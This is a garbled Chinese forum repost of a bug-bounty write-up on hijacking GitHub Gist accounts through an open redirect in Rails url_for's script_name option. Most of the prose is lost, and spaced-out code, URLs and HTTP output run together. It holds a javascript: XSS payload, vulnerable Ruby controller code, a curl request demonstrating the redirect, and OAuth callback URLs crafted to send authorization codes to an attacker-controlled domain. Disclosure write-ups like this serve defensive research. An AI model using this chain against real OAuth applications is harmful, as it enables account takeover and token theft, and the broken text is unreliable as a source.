[16094] 2020-11-15_挖洞经验利用开放重定向漏洞劫持GitHubGist账户

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-18
2020-11-15_挖洞经验利用开放重定向漏洞劫持GitHubGist账户   |   G i t H u b   G i s t c l o u d s   F r e e B u f   2 0 2 0 - 1 1 - 1 5 G i t H u b C S R F   t o k e n u r l s t o k e n G i t H u b   G i s t $ 1 0 , 0 0 0 u r l s u r l _ f o r c o n t r o l l e r c o n t r o l l a b l e   h a s h u r l _ f o r 线 u r l _ f o r u r l g i t h u b : o n l y _ p a t h   -   t r u e U R L f a l s e : p r o t o c o l   -   h t t p : h o s t   -   : o n l y _ p a t h f a l s e d e f a u l t _ u r l _ o p t i o n s : s u b d o m a i n   -   使 t l d _ l e n g t h h o s t f a l s e : d o m a i n   -   使 t l d _ l e n g t h h o s t : t l d _ l e n g t h   -   T L D   i d : s u b d o m a i n     : d o m a i n A c t i o n D i s p a t c h : : H t t p : : U R L . t l d _ l e n g t h 1 : p o r t   -   : a n c h o r   -   a n c h o r : p a r a m s   -   : t r a i l i n g _ s l a s h   -   t r u e / / a r c h i v e / 2 0 0 9 / : s c r i p t _ n a m e   -   : p r o t o c o l : h o s t b l a c k l i s t e d / r e m o v e d   : o n l y _ p a t h t r u e : s c r i p t _ n a m e 使 : s c r i p t _ n a m e p a t h _ f o r p a t h p a t h _ f o r G i t H u b d e f   p a t h _ f o r ( o p t i o n s )         p a t h   =   o p t i o n s [ : s c r i p t _ n a m e ] . t o _ s . c h o m p ( " / " )         p a t h   < <   o p t i o n s [ : p a t h ]   i f   o p t i o n s . k e y ? ( : p a t h )         a d d _ t r a i l i n g _ s l a s h ( p a t h )   i f   o p t i o n s [ : t r a i l i n g _ s l a s h ]         a d d _ p a r a m s ( p a t h ,   o p t i o n s [ : p a r a m s ] )   i f   o p t i o n s . k e y ? ( : p a r a m s )         a d d _ a n c h o r ( p a t h ,   o p t i o n s [ : a n c h o r ] )   i f   o p t i o n s . k e y ? ( : a n c h o r )         p a t h         e n d < a   c l a s s = " l i n k "   h r e f = " < % =   u r l _ f o r ( r e q u e s t . q u e r y _ p a r a m e t e r s . m e r g e ( o n l y _ p a t h :   t r u e ) )   % > " >
? s c r i p t _ n a m e = j a v a s c r i p t : a l e r t ( 1 ) / /   h t m l C l i c k   m e X S S C S P u r l _ f o r 使 o n l y _ p a t h :   t r u e U R L 使 s c r i p t _ n a m e s c r i p t _ n a m e 线 r e d i r e c t _ t o s c r i p t _ n a m e h o s t s c r i p t _ n a m e . a t t a c k e r . d o m a i n . a t t a c k e r . d o m a i n O A u t h   t o k e n s G i t h u b G i t H u b O A u t h G i s t G i t H u b   G i s t G i t H u b r a i l s G i s t O A u t h 1 h t t p s : / / g i t h u b . c o m / l o g i n / o a u t h / a u t h o r i z e ? c l i e n t _ i d = 7 e 0 a 3 c d 8 3 6 d 3 e 5 4 4 d b d 9 & r e d i r e c t _ u r i = h t t p s : / / g i s t . g i t h u b . c o m / a u t h / g i t h u b / c a l l b a c k 2 h t t p s : / / g i s t . g i t h u b . c o m / a u t h / g i t h u b / c a l l b a c k ? b r o w s e r _ s e s s i o n _ i d = X X X & c o d e = Y Y Y 3 h t t p s : / / g i s t . g i t h u b . c o m / a u t h / g i t h u b 4 h t t p s : / / g i t h u b . c o m / l o g i n / o a u t h / a u t h o r i z e ? c l i e n t _ i d = 7 e 0 a 3 c d 8 3 6 d 3 e 5 4 4 d b d 9 & r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F g i s t . g i t h u b . c o m % 2 F a u t h % 2 F g i t h u b % 2 F c a l l b a c k & r e s p o n s e _ t y p e = c o d e & s t a t e = Z Z Z 5 h t t p s : / / g i s t . g i t h u b . c o m / a u t h / g i t h u b / c a l l b a c k ? b r o w s e r _ s e s s i o n _ i d = X X X & c o d e = Y Y Y & s t a t e = Z Z Z 6 h t t p s : / / g i s t . g i t h u b . c o m / < a   c l a s s = " l i n k "   h r e f = " < % =   u r l _ f o r ( r e q u e s t . q u e r y _ p a r a m e t e r s . m e r g e ( o n l y _ p a t h :   t r u e ) )   % > " >         C l i c k   m e < / a > < a   c l a s s = " l i n k "   h r e f = " j a v a s c r i p t : a l e r t ( 1 ) / / u s e r / r e p o / . . . " >         C l i c k   m e < / a > b e f o r e _ a c t i o n   : c h e c k _ s o u r c e     d e f   c h e c k _ s o u r c e         s o u r c e   =   p a r a m s [ " s o u r c e " ]         r e t u r n   r e d i r e c t _ t o ( c h e c k _ s o u r c e _ r e d i r e c t _ u r l )   i f   s o u r c e   = =   " m e s s a g e "     e n d     d e f   c h e c k _ s o u r c e _ r e d i r e c t _ u r l         q u e r y   =   A d d r e s s a b l e : : U R I . p a r s e ( r e q u e s t . e n v [ " R E Q U E S T _ U R I " ] ) . q u e r y _ v a l u e s   | |   { }         f i l t e r e d _ p a r a m s   =   q u e r y . e x c e p t ( " s o u r c e " ,   " t o k e n " ) . m e r g e ( o n l y _ p a t h :   t r u e )         u r l _ f o r ( f i l t e r e d _ p a r a m s )     e n d c u r l   - i   ' h t t p : / / l o c a l . d e v ? s o u r c e = m e s s a g e & s c r i p t _ n a m e = g g g ' H T T P / 1 . 1   3 0 2   F o u n d X - F r a m e - O p t i o n s :   S A M E O R I G I N X - X S S - P r o t e c t i o n :   1 ;   m o d e = b l o c k X - C o n t e n t - T y p e - O p t i o n s :   n o s n i f f X - D o w n l o a d - O p t i o n s :   n o o p e n X - P e r m i t t e d - C r o s s - D o m a i n - P o l i c i e s :   n o n e R e f e r r e r - P o l i c y :   s t r i c t - o r i g i n - w h e n - c r o s s - o r i g i n L o c a t i o n :   h t t p : / / l o c a l . d e v g g g / w e l c o m e / i n d e x C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = u t f - 8 C a c h e - C o n t r o l :   n o - c a c h e X - R e q u e s t - I d :   7 c 8 e e d f a - f 5 5 2 - 4 d 5 a - b b c d - 2 9 5 f 4 e 7 f d 9 c 0 X - R u n t i m e :   0 . 0 0 2 7 4 4 T r a n s f e r - E n c o d i n g :   c h u n k e d < h t m l > < b o d y > Y o u   a r e   b e i n g   < a   h r e f = " h t t p : / / l o c a l . d e v g g g / w e l c o m e / i n d e x " > r e d i r e c t e d < / a > . < / b o d y > < / h t m l >
G i s t b r o w s e r _ s e s s i o n _ i d c o d e c l i e n t _ i d C S R F s t a t e r e d i r e c t _ u r i   c o d e b r o w s e r _ s e s s i o n _ i d s c r i p t _ n a m e = . w b o w l i n g . i n f o . w b o w l i n g . i n f o h t t p s : / / g i s t . g i t h u b . c o m / a u t h / g i t h u b / c a l l b a c k s t a t e b r o w s e r _ s e s s i o n _ i d c o d e G i s t G i t H u b     G i s t 使 t o k e n g i t h u b . c o m G i s t 访 2 0 2 0 . 6 . 2 6   0 0 : 3 3 : 3 8   A E S T   -   2 0 2 0 . 6 . 2 6   1 2 : 5 7 : 3 8   A E S T   -   G i s t 2 0 2 0 . 6 . 2 6   2 3 : 3 3 : 3 0   A E S T   -   2 0 2 0 . 6 . 2 9   -   G i s t G i t H u b   E n t e r p r i s e 2 0 2 0 . 1 0 . 1 5   0 5 : 4 5 : 4 5   A E D T   G i t h u b $ 1 0 , 0 0 0 d e v c r a f t

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则